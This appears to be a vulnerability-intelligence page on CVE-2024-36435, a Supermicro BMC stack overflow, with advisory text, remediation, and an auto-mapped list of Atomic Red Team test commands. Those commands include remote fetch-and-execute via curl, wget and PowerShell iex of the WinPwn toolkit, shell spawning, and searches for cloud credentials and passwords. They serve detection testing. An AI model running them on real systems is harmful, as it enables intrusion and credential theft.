CVE-2024-36435
Overview
This vulnerability is a stack-based buffer overflow in the Baseboard Management Controller (BMC) firmware of select Supermicro motherboards and CMM6 modules. It arises from improper handling of crafted input data posted to the BMC interface, leading to memory corruption. The flaw affects firmware components responsible for processing network interface requests without sufficient bounds checking.
Vulnerability Description
An issue was discovered on Supermicro BMC firmware in select X11, X12, H12, B12, X13, H13, and B13 motherboards (and CMM6 modules). An unauthenticated user can post crafted data to the interface that triggers a stack buffer overflow, and may lead to arbitrary remote code execution on a BMC.
Impact
An unauthenticated attacker with network access to the BMC interface can exploit this vulnerability to execute arbitrary code remotely on the BMC, potentially gaining control over the management processor. This could lead to unauthorized system management, data exfiltration, or disruption of server operations. The vulnerability requires no privileges or user interaction (AV:N/AC:L/PR:N/UI:N), making it highly exploitable in exposed environments.
Solution
Supermicro has released firmware updates addressing this buffer overflow vulnerability for affected X11, X12, H12, B12, X13, H13, and B13 motherboards and CMM6 modules. Administrators should apply the latest BMC firmware versions as detailed in the vendor advisory at https://www.supermicro.com/zh_tw/support/security_BMC_IPMI_Jul_2024. No alternative mitigations or workarounds are specified; timely firmware upgrade is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Supermicro BMC firmware presents a critical security flaw that allows unauthenticated users to exploit a stack buffer overflow. This issue affects several generations of Supermicro motherboards, including the X11, X12, H12, B12, X13, H13, and B13 series, as well as CMM6 modules. The nature of the vulnerability lies in the handling of crafted data sent to the management interface. When an attacker sends specially formatted input, the firmware fails to adequately validate the data size, leading to a buffer overflow condition. This can overwrite adjacent memory locations, resulting in the potential execution of arbitrary code. Such a flaw is particularly dangerous as it can be exploited remotely without the need for authentication, making it accessible to a wide range of threat actors.
Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on the management interface of the affected motherboards. An attacker could leverage a compromised network segment or utilize social engineering tactics to gain access to the management interface. Once the attacker has access, they can send malicious payloads that trigger the buffer overflow. This could lead to the execution of arbitrary code, allowing the attacker to gain control over the Baseboard Management Controller (BMC). Such control could enable further attacks on the underlying hardware, including the ability to manipulate system settings, install malware, or exfiltrate sensitive data. Additionally, the remote nature of this vulnerability means that attackers do not need physical access to the hardware, significantly increasing the risk of exploitation.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Supermicro hardware for critical infrastructure. The potential for arbitrary remote code execution poses a significant business risk, as attackers could gain control over systems that manage sensitive data or critical operations. The implications of such an attack could range from data breaches and financial losses to reputational damage and regulatory penalties. Furthermore, the ability to execute arbitrary code remotely could allow attackers to pivot within a network, escalating their access and potentially compromising additional systems. This risk is exacerbated in environments where BMCs are used to manage multiple servers, as a successful exploit could lead to widespread compromise across an organization’s infrastructure.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions provided by Supermicro is essential, as these updates often include patches for known vulnerabilities. Additionally, organizations should employ network segmentation to limit access to management interfaces, ensuring that only authorized personnel can interact with these systems. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Implementing strong authentication mechanisms for accessing BMC interfaces, such as multi-factor authentication, can further reduce the risk of unauthorized access. Lastly, conducting regular security assessments and vulnerability scans can help identify and remediate potential weaknesses in the infrastructure before they can be exploited.
In conclusion, the vulnerability in Supermicro BMC firmware represents a significant threat to organizations utilizing affected hardware. The potential for remote code execution by unauthenticated users necessitates immediate attention and action from security teams. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential exploits. Proactive detection and mitigation strategies will be crucial in safeguarding sensitive infrastructure and maintaining the integrity of critical operations.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-36435, with new telemetry indicating initial exploitation attempts targeting vulnerable Supermicro BMC firmware. Although the EPSS score remains low and stable, the emergence of these early-stage sightings signals that threat actors are actively probing affected environments. This development elevates the immediacy of the risk, as unauthenticated remote code execution vulnerabilities in critical infrastructure components like BMCs can facilitate stealthy, persistent access and lateral movement within enterprise networks. While no confirmed exploit kits or widespread campaigns have been observed yet, the uptick in reconnaissance and exploitation attempts underscores the necessity for heightened vigilance. Consequently, the threat level should be considered elevated from theoretical to practical, reflecting an increased likelihood of successful exploitation in operational settings.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-36435 |
| supermicro.com |
GitHub CVE
|
https://www.supermicro.com/zh_tw/support/security_BMC_IPMI_Jul_2024 |